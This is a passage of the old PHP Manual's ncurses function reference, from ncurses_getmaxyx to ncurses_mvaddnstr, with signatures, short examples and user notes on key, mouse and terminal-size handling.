  ncurses_mvwaddstr($full,4,4,microtime(true));
  ncurses_wrefresh($full);

  usleep(1); //reduce cpu usage
}
?>
php at kormoc dot com 22-Nov-2005 03:45
After banging my head over this for awhile, I discovered, you must use ncurses_keypad($window, true); to enable the arrow keys and f keys to work correctly.
joeldegan AT yahoo.com 16-Dec-2002 12:29
When using getch to capture KEY_* events remember that the keypad is arranged like this:

+-----+------+-------+
| A1  |  up  |  A3   |
+-----+------+-------+
|left |  B2  | right |
+-----+------+-------+
| C1  | down |    C3  |
+-----+------+-------+

You use has_key to capture these and act upon them.

man curs_getch for more info.
pablorNOSPAM at nkstudios dot net 13-Sep-2002 01:40
A custom php ncurses_getstr function..

<?php

function ncurses_getstr($strlen){
    for ($x=0;$x<$strlen;$x++){
        $string .= chr(ncurses_getch());
    }
    return $string;
}

ncurses_init();
ncurses_addstr(ncurses_getstr(6));
ncurses_refresh();
ncurses_getch();
ncurses_end();

?>
ncurses_flushinp
ncurses_getmaxyx
Ncurses Functions


Returns the size of a window

ncurses_getch
ncurses_getmouse
Ncurses Functions
PHP Manual

ncurses_getmaxyx

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getmaxyx — Returns the size of a window

Description

void ncurses_getmaxyx ( resource $window , int &$y , int &$x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Gets the horizontal and vertical size of the given window into the given variables.

Variables must be passed as reference, so they are updated when the user changes the terminal size.

Parameters

window

The measured window

y

This will be set to the window height

x

This will be set to the window width

Return Values

No value is returned.

User Contributed Notes

vic at lfs dot net 11-Oct-2008 10:33
TIP 1: If you want to know the size of the main (default) ncurses screen, you can use the defined constant STDSCR
eg. ncurses_getmaxyx (STDSCR, $Height, $Width);
No need to create a window, get its size and delete it again (not sure if this works on php versions < 5 though).

TIP 2 : If you are creating a PHP console application and want to support terminal resizing and if you find that the ncurses screen doesn't actually resize when you resize your terminal (which was the case for me (on FreeBSD 5.3 at least)) you should end the current ncurses session and restart it again. Very easy to do this if you create your own ncurses class with a nice con- and destructor.
superzouz at hotmail dot com 26-Jun-2007 05:36
After some headscratching as to why my script was not detecting the terminal being resized... i discovered that the function would not report the new size of the terminal until the window is refreshed.
So this is the code that I am using to get the size of the screen:

$fullscreen = ncurses_newwin ( 0, 0, 0, 0);

// everytime you want to find out the size of the screen, write the following 2 lines:
ncurses_wrefresh($fullscreen);
ncurses_getmaxyx ($fullscreen, $y, $x );
ncurses_getch
ncurses_getmouse
Ncurses Functions


Reads mouse event

ncurses_getmaxyx
ncurses_getyx
Ncurses Functions
PHP Manual

ncurses_getmouse

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getmouse — Reads mouse event

Description

bool ncurses_getmouse ( array &$mevent )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

ncurses_getmouse() reads mouse event out of queue.

Parameters

mevent

Event options will be delivered in this parameter which has to be an array, passed by reference (see example below).

On success an associative array with following keys will be delivered:

  • "id" : Id to distinguish multiple devices

  • "x" : screen relative x-position in character cells

  • "y" : screen relative y-position in character cells

  • "z" : currently not supported

  • "mmask" : Mouse action

Return Values

Returns FALSE if a mouse event is actually visible in the given window, otherwise returns TRUE.

Examples

Example #1 ncurses_getmouse() example

<?php
switch (ncurses_getch()){
  case NCURSES_KEY_MOUSE:
    if (!ncurses_getmouse($mevent)){
      if ($mevent["mmask"] & NCURSES_MOUSE_BUTTON1_PRESSED){
        $mouse_x = $mevent["x"]; // Save mouse position
        $mouse_y = $mevent["y"];
      }
    }
  break;

  default:
    /* .... */
}
?>

See Also

  • ncurses_ungetmouse() - Pushes mouse event to queue

User Contributed Notes

m dot quinton at gmail dot com 26-Sep-2005 04:05
a working example with mouse, 3 windows  (need to be completed, but it works) ...

<?php

error_reporting(E_ALL);

function win($w, $h, $x, $y, $txt){
    // now lets create a small window
    $win = ncurses_newwin($w, $h, $x, $y);
    // border our small window.
    ncurses_wborder($win,0,0, 0,0, 0,0, 0,0);
    # ncurses_wrefresh($win);// paint both windows
    ncurses_refresh();// paint both windows

    // move into the small window and write a string
    ncurses_mvwaddstr($win, 0, 1, " $txt ");
    ncurses_mvwaddstr($win, 1, 1, "($w, $h, $x, $y)");

    // show our handiwork and refresh our small window
    ncurses_wrefresh($win);

    return $win;
}

// Initialie ncurses
$ncurse = ncurses_init();
// A full screen window

$win0 = win(0, 0, 0, 0, 'win0');
$win1 = win(10, 30, 7, 25, 'win1');
$win2 = win(10, 30, 20, 25, 'win2');
$info = win(15, 20, 2, 2, 'info');

// Draw everything so far
// ncurses_refresh();

$newmask = NCURSES_BUTTON1_CLICKED + NCURSES_BUTTON1_RELEASED;
# $newmask = NCURSES_ALL_MOUSE_EVENTS;

$mask = ncurses_mousemask($newmask, &$oldmask);
$events = array();

while(1){

    ncurses_wmove($info, 1,1);
    $ch = ncurses_getch();

    ncurses_wclear($info);
    ncurses_refresh();// paint both windows
    ncurses_wborder($info,0,0, 0,0, 0,0, 0,0);
    ncurses_refresh();// paint both windows
    ncurses_mvwaddstr($win, 0, 1, " info ");
    ncurses_refresh();// paint both windows

    switch($ch){

    case NCURSES_KEY_MOUSE:

        if(ncurses_getmouse($mevent)){
            $events[] = $mevent;

            ncurses_mvwaddstr($info, 2, 1, " mouse event   ");
            ncurses_mvwaddstr($info, 3, 1, " ({$mevent['x']}/{$mevent['y']}) ");
            ncurses_mvwaddstr($info, 4, 1, " ({$mevent['mmask']}) ");

            ncurses_wrefresh($info);
        }
        break;

    case chr('q'):
        break 2;

    default:

        if($ch > 0x40)
            $txt = chr($ch) . " $ch ";
        else
            $txt = '.' . " $ch";

        ncurses_mvwaddstr($info, 1, 1, " $txt   ");
        ncurses_wrefresh($info);

    }

    if(chr($ch) == 'q')
        break;
}

ncurses_end();// clean up our screen

print_r($events);

?>
ncurses_getmaxyx
ncurses_getyx
Ncurses Functions


Returns the current cursor position for a window

ncurses_getmouse
ncurses_halfdelay
Ncurses Functions
PHP Manual

ncurses_getyx

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getyx — Returns the current cursor position for a window

Description

void ncurses_getyx ( resource $window , int &$y , int &$x )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

y

x

User Contributed Notes

There are no user contributed notes for this page.
ncurses_getmouse
ncurses_halfdelay
Ncurses Functions


Put terminal into halfdelay mode

ncurses_getyx
ncurses_has_colors
Ncurses Functions
PHP Manual

ncurses_halfdelay

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_halfdelay — Put terminal into halfdelay mode

Description

int ncurses_halfdelay ( int $tenth )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

tenth

User Contributed Notes

There are no user contributed notes for this page.
ncurses_getyx
ncurses_has_colors
Ncurses Functions


Checks if terminal has color capabilities

ncurses_halfdelay
ncurses_has_ic
Ncurses Functions
PHP Manual

ncurses_has_colors

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_colors — Checks if terminal has color capabilities

Description

bool ncurses_has_colors ( void )

Checks whether the terminal has color capabilities. This function can be used to write terminal-independent programs. ncurses must be initialized using ncurses_init() before calling this function.

Parameters

This function has no parameters.

Return Values

Return TRUE if the terminal has color capabilities, FALSE otherwise.

Examples

Example #1 Writing a string with a specified color to the screen

<?php
ncurses_init();

// If the terminal supports colors, initialize and set active color
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// Write a string at specified location
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// Flush output to screen
ncurses_refresh();

ncurses_end();
?>

See Also

  • ncurses_can_change_color() - Checks if terminal color definitions can be changed
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.
ncurses_halfdelay
ncurses_has_ic
Ncurses Functions


Check for insert- and delete-capabilities

ncurses_has_colors
ncurses_has_il
Ncurses Functions
PHP Manual

ncurses_has_ic

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_ic — Check for insert- and delete-capabilities

Description

bool ncurses_has_ic ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Checks whether the terminal has insert and delete capabilities.

Return Values

Returns TRUE if the terminal has insert/delete-capabilities, FALSE otherwise.

See Also

  • ncurses_has_il() - Check for line insert- and delete-capabilities

User Contributed Notes

There are no user contributed notes for this page.
ncurses_has_colors
ncurses_has_il
Ncurses Functions


Check for line insert- and delete-capabilities

ncurses_has_ic
ncurses_has_key
Ncurses Functions
PHP Manual

ncurses_has_il

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_il — Check for line insert- and delete-capabilities

Description

bool ncurses_has_il ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Checks whether the terminal has insert- and delete-line-capabilities.

Return Values

Returns TRUE if the terminal has insert/delete-line capabilities, FALSE otherwise.

See Also

  • ncurses_has_ic() - Check for insert- and delete-capabilities

User Contributed Notes

There are no user contributed notes for this page.
ncurses_has_ic
ncurses_has_key
Ncurses Functions


Check for presence of a function key on terminal keyboard

ncurses_has_il
ncurses_hide_panel
Ncurses Functions
PHP Manual

ncurses_has_key

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_key — Check for presence of a function key on terminal keyboard

Description

int ncurses_has_key ( int $keycode )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

keycode

User Contributed Notes

There are no user contributed notes for this page.
ncurses_has_il
ncurses_hide_panel
Ncurses Functions


Remove panel from the stack, making it invisible

ncurses_has_key
ncurses_hline
Ncurses Functions
PHP Manual

ncurses_hide_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_hide_panel — Remove panel from the stack, making it invisible

Description

int ncurses_hide_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.
ncurses_has_key
ncurses_hline
Ncurses Functions


Draw a horizontal line at current position using an attributed character and max. n characters long

ncurses_hide_panel
ncurses_inch
Ncurses Functions
PHP Manual

ncurses_hline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_hline — Draw a horizontal line at current position using an attributed character and max. n characters long

Description

int ncurses_hline ( int $charattr , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

charattr

n

User Contributed Notes

There are no user contributed notes for this page.
ncurses_hide_panel
ncurses_inch
Ncurses Functions


Get character and attribute at current position

ncurses_hline
ncurses_init_color
Ncurses Functions
PHP Manual

ncurses_inch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_inch — Get character and attribute at current position

Description

string ncurses_inch ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the character from the current position.

Return Values

Returns the character, as a string.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_hline
ncurses_init_color
Ncurses Functions


Define a terminal color

ncurses_inch
ncurses_init_pair
Ncurses Functions
PHP Manual

ncurses_init_color

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_init_color — Define a terminal color

Description

int ncurses_init_color ( int $color , int $r , int $g , int $b )

Defines or redefines the given color. When this function is called, all occurrences of the given color on the screen, if any, immediately change to the new definition.

Color capabilities must be supported by the terminal and initialized using ncurses_start_color() prior to calling this function. In addition, the terminal must have color changing capabilities; use ncurses_can_change_color() to check for this.

Parameters

color

The identification number of the color to redefine. It may be one of the default color constants.

r

A color value, between 0 and 1000, for the red component.

g

A color value, between 0 and 1000, for the green component.

b

A color value, between 0 and 1000, for the blue component.

Return Values

Returns -1 if the function was successful, and 0 if ncurses or terminal color capabilities have not been initialized or the terminal does not have color changing capabilities.

See Also

  • ncurses_color_content() - Retrieves RGB components of a color
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.
ncurses_inch
ncurses_init_pair
Ncurses Functions


Define a color pair

ncurses_init_color
ncurses_init
Ncurses Functions
PHP Manual

ncurses_init_pair

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_init_pair — Define a color pair

Description

int ncurses_init_pair ( int $pair , int $fg , int $bg )

Defines or redefines the given color pair to have the given foreground and background colors. If the color pair was previously initialized, the screen is refreshed and all occurrences of it are changed to reflect the new definition.

Color capabilities must be initialized using ncurses_start_color() before calling this function. The first color pair (color pair 0) is assumed to be white on black by default, but can be changed using ncurses_assume_default_colors().

Parameters

pair

The number of the color pair to define.

fg

The foreground color for the color pair. May be one of the pre-defined colors or one defined by ncurses_init_color() if the terminal has color changing capabilities.

bg

The background color for the color pair. May be one of the pre-defined colors or one defined by ncurses_init_color() if the terminal has color changing capabilities.

Return Values

Returns -1 if the function was successful, and 0 if ncurses or color support were not initialized.

Notes

Note that color changing capabilities are not required for defining color pairs of pre-existing colors, but only for changing definitions (red, green, and blue components) of colors themselves per ncurses_init_color().

Examples

Example #1 Writing a string with a specified color to the screen

<?php
ncurses_init();

// If the terminal supports colors, initialize and set active color
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// Write a string at specified location
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// Flush output to screen
ncurses_refresh();

ncurses_end();
?>

See Also

  • ncurses_pair_content() - Retrieves foreground and background colors of a color pair
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.
ncurses_init_color
ncurses_init
Ncurses Functions


Initialize ncurses

ncurses_init_pair
ncurses_insch
Ncurses Functions
PHP Manual

ncurses_init

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_init — Initialize ncurses

Description

void ncurses_init ( void )

Initializes the ncurses interface. This function must be used before any other ncurses function call.

Note that ncurses_end() must be called before exiting from the program, or the terminal will not be restored to its proper non-visual mode.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ncurses_end() - Stop using ncurses, clean up the screen

User Contributed Notes

There are no user contributed notes for this page.
ncurses_init_pair
ncurses_insch
Ncurses Functions


Insert character moving rest of line including character at current position

ncurses_init
ncurses_insdelln
Ncurses Functions
PHP Manual

ncurses_insch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insch — Insert character moving rest of line including character at current position

Description

int ncurses_insch ( int $character )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

character

User Contributed Notes

There are no user contributed notes for this page.
ncurses_init
ncurses_insdelln
Ncurses Functions


Insert lines before current line scrolling down (negative numbers delete and scroll up)

ncurses_insch
ncurses_insertln
Ncurses Functions
PHP Manual

ncurses_insdelln

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insdelln — Insert lines before current line scrolling down (negative numbers delete and scroll up)

Description

int ncurses_insdelln ( int $count )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

count

User Contributed Notes

There are no user contributed notes for this page.
ncurses_insch
ncurses_insertln
Ncurses Functions


Insert a line, move rest of screen down

ncurses_insdelln
ncurses_insstr
Ncurses Functions
PHP Manual

ncurses_insertln

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insertln — Insert a line, move rest of screen down

Description

int ncurses_insertln ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Inserts a new line above the current line. The bottom line will be lost.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_insdelln
ncurses_insstr
Ncurses Functions


Insert string at current position, moving rest of line right

ncurses_insertln
ncurses_instr
Ncurses Functions
PHP Manual

ncurses_insstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insstr — Insert string at current position, moving rest of line right

Description

int ncurses_insstr ( string $text )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

text

User Contributed Notes

There are no user contributed notes for this page.
ncurses_insertln
ncurses_instr
Ncurses Functions


Reads string from terminal screen

ncurses_insstr
ncurses_isendwin
Ncurses Functions
PHP Manual

ncurses_instr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_instr — Reads string from terminal screen

Description

int ncurses_instr ( string &$buffer )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Reads a string from the terminal screen and returns the number of characters read from the current character position until end of line.

Parameters

buffer

The characters. Attributes will be stripped.

Return Values

Returns the number of characters.

User Contributed Notes

There are no user contributed notes for this page.
ncurses_insstr
ncurses_isendwin
Ncurses Functions


Ncurses is in endwin mode, normal screen output may be performed

ncurses_instr
ncurses_keyok
Ncurses Functions
PHP Manual

ncurses_isendwin

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_isendwin — Ncurses is in endwin mode, normal screen output may be performed

Description

bool ncurses_isendwin ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Checks if ncurses is in endwin mode.

Return Values

Returns TRUE, if ncurses_end() has been called without any subsequent calls to ncurses_wrefresh(), FALSE otherwise.

See Also

  • ncurses_end() - Stop using ncurses, clean up the screen
  • ncurses_wrefresh() - Refresh window on terminal screen

User Contributed Notes

There are no user contributed notes for this page.
ncurses_instr
ncurses_keyok
Ncurses Functions


Enable or disable a keycode

ncurses_isendwin
ncurses_keypad
Ncurses Functions
PHP Manual

ncurses_keyok

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_keyok — Enable or disable a keycode

Description

int ncurses_keyok ( int $keycode , bool $enable )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

keycode

enable

User Contributed Notes

There are no user contributed notes for this page.
ncurses_isendwin
ncurses_keypad
Ncurses Functions


Turns keypad on or off

ncurses_keyok
ncurses_killchar
Ncurses Functions
PHP Manual

ncurses_keypad

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_keypad — Turns keypad on or off

Description

int ncurses_keypad ( resource $window , bool $bf )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

bf

User Contributed Notes

There are no user contributed notes for this page.
ncurses_keyok
ncurses_killchar
Ncurses Functions


Returns current line kill character

ncurses_keypad
ncurses_longname
Ncurses Functions
PHP Manual

ncurses_killchar

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_killchar — Returns current line kill character

Description

string ncurses_killchar ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the current line kill character.

Return Values

Returns the kill character, as a string.

See Also

  • ncurses_erasechar() - Returns current erase character

User Contributed Notes

There are no user contributed notes for this page.
ncurses_keypad
ncurses_longname
Ncurses Functions


Returns terminals description

ncurses_killchar
ncurses_meta
Ncurses Functions
PHP Manual

ncurses_longname

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_longname — Returns terminals description

Description

string ncurses_longname ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns a verbose description of the terminal.

Return Values

Returns the description, as a string truncated to 128 characters. On errors, returns NULL.

See Also

  • ncurses_termname() - Returns terminals (short)-name

User Contributed Notes

There are no user contributed notes for this page.
ncurses_killchar
ncurses_meta
Ncurses Functions


Enables/Disable 8-bit meta key information

ncurses_longname
ncurses_mouse_trafo
Ncurses Functions
PHP Manual

ncurses_meta

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_meta — Enables/Disable 8-bit meta key information

Description

int ncurses_meta ( resource $window , bool $8bit )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

8bit

User Contributed Notes

There are no user contributed notes for this page.
ncurses_longname
ncurses_mouse_trafo
Ncurses Functions


Transforms coordinates

ncurses_meta
ncurses_mouseinterval
Ncurses Functions
PHP Manual

ncurses_mouse_trafo

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mouse_trafo — Transforms coordinates

Description

bool ncurses_mouse_trafo ( int &$y , int &$x , bool $toscreen )
Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

toscreen

User Contributed Notes

There are no user contributed notes for this page.
ncurses_meta
ncurses_mouseinterval
Ncurses Functions


Set timeout for mouse button clicks

ncurses_mouse_trafo
ncurses_mousemask
Ncurses Functions
PHP Manual

ncurses_mouseinterval

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mouseinterval — Set timeout for mouse button clicks

Description

int ncurses_mouseinterval ( int $milliseconds )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

milliseconds

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mouse_trafo
ncurses_mousemask
Ncurses Functions


Sets mouse options

ncurses_mouseinterval
ncurses_move_panel
Ncurses Functions
PHP Manual

ncurses_mousemask

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mousemask — Sets mouse options

Description

int ncurses_mousemask ( int $newmask , int &$oldmask )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets mouse events to be reported. By default no mouse events will be reported.

Mouse events are represented by NCURSES_KEY_MOUSE in the ncurses_wgetch() input stream. To read the event data and pop the event of queue, call ncurses_getmouse().

Parameters

newmask

Mouse mask options can be set with the following predefined constants:

  • NCURSES_BUTTON1_PRESSED

  • NCURSES_BUTTON1_RELEASED

  • NCURSES_BUTTON1_CLICKED

  • NCURSES_BUTTON1_DOUBLE_CLICKED

  • NCURSES_BUTTON1_TRIPLE_CLICKED

  • NCURSES_BUTTON2_PRESSED

  • NCURSES_BUTTON2_RELEASED

  • NCURSES_BUTTON2_CLICKED

  • NCURSES_BUTTON2_DOUBLE_CLICKED

  • NCURSES_BUTTON2_TRIPLE_CLICKED

  • NCURSES_BUTTON3_PRESSED

  • NCURSES_BUTTON3_RELEASED

  • NCURSES_BUTTON3_CLICKED

  • NCURSES_BUTTON3_DOUBLE_CLICKED

  • NCURSES_BUTTON3_TRIPLE_CLICKED

  • NCURSES_BUTTON4_PRESSED

  • NCURSES_BUTTON4_RELEASED

  • NCURSES_BUTTON4_CLICKED

  • NCURSES_BUTTON4_DOUBLE_CLICKED

  • NCURSES_BUTTON4_TRIPLE_CLICKED

  • NCURSES_BUTTON_SHIFT>

  • NCURSES_BUTTON_CTRL

  • NCURSES_BUTTON_ALT

  • NCURSES_ALL_MOUSE_EVENTS

  • NCURSES_REPORT_MOUSE_POSITION

As a side effect, setting a zero mousemask in newmask turns off the mouse pointer. Setting a non zero value turns mouse pointer on.

oldmask

This will be set to the previous value of the mouse event mask.

Return Values

Returns a mask to indicated which of the in parameter newmask specified mouse events can be reported. On complete failure, it returns 0.

Examples

Example #1 ncurses_mousemask() example

<?php
$newmask = NCURSES_BUTTON1_CLICKED + NCURSES_BUTTON1_RELEASED;
$mask = ncurses_mousemask($newmask, $oldmask);
if ($mask & $newmask){
    printf("All specified mouse options will be supported\n");
}
?>

See Also

  • ncurses_getch() - Read a character from keyboard
  • ncurses_getmouse() - Reads mouse event
  • ncurses_ungetmouse() - Pushes mouse event to queue

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mouseinterval
ncurses_move_panel
Ncurses Functions


Moves a panel so that its upper-left corner is at [startx, starty]

ncurses_mousemask
ncurses_move
Ncurses Functions
PHP Manual

ncurses_move_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_move_panel — Moves a panel so that its upper-left corner is at [startx, starty]

Description

int ncurses_move_panel ( resource $panel , int $startx , int $starty )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

startx

starty

User Contributed Notes

aholmes at barracuda dot com 03-Jun-2010 09:48
Note that, according to move_panel(3), the move_panel prototype is "int move_panel(PANEL *pan, int starty, int startx)," while the PHP function switches starty and startx.

The PHP function and this function documentation are in conjunction with each other, but they do not match the move_panel prototype and call it incorrectly.
ncurses_mousemask
ncurses_move
Ncurses Functions


Move output position

ncurses_move_panel
ncurses_mvaddch
Ncurses Functions
PHP Manual

ncurses_move

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_move — Move output position

Description

int ncurses_move ( int $y , int $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

User Contributed Notes

There are no user contributed notes for this page.
ncurses_move_panel
ncurses_mvaddch
Ncurses Functions


Move current position and add character

ncurses_move
ncurses_mvaddchnstr
Ncurses Functions
PHP Manual

ncurses_mvaddch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddch — Move current position and add character

Description

int ncurses_mvaddch ( int $y , int $x , int $c )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

c

User Contributed Notes

There are no user contributed notes for this page.
ncurses_move
ncurses_mvaddchnstr
Ncurses Functions


Move position and add attributed string with specified length

ncurses_mvaddch
ncurses_mvaddchstr
Ncurses Functions
PHP Manual

ncurses_mvaddchnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddchnstr — Move position and add attributed string with specified length

Description

int ncurses_mvaddchnstr ( int $y , int $x , string $s , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

s

n

User Contributed Notes

john at weider dot cc 18-Oct-2002 10:40
Additional constants:

    NCURSES_A_NORMAL
    NCURSES_A_STANDOUT
    NCURSES_A_UNDERLINE
    NCURSES_A_REVERSE
    NCURSES_A_BLINK
    NCURSES_A_DIM
    NCURSES_A_BOLD
    NCURSES_A_PROTECT
    NCURSES_A_INVIS
    NCURSES_A_ALTCHARSET
    NCURSES_A_CHARTEXT
ncurses_mvaddch
ncurses_mvaddchstr
Ncurses Functions


Move position and add attributed string

ncurses_mvaddchnstr
ncurses_mvaddnstr
Ncurses Functions
PHP Manual

ncurses_mvaddchstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddchstr — Move position and add attributed string

Description

int ncurses_mvaddchstr ( int $y , int $x , string $s )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

s

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvaddchnstr
ncurses_mvaddnstr
Ncurses Functions


Move position and add string with specified length

ncurses_mvaddchstr
ncurses_mvaddstr
Ncurses Functions
PHP Manual

ncurses_mvaddnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddnstr — Move position and add string with specified length

Description

int ncurses_mvaddnstr ( int $y , int $x , string $s , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

y

x

s

n

User Contributed Notes

There are no user contributed notes for this page.
ncurses_mvaddchstr
ncurses_mvaddstr
Ncurses Functions


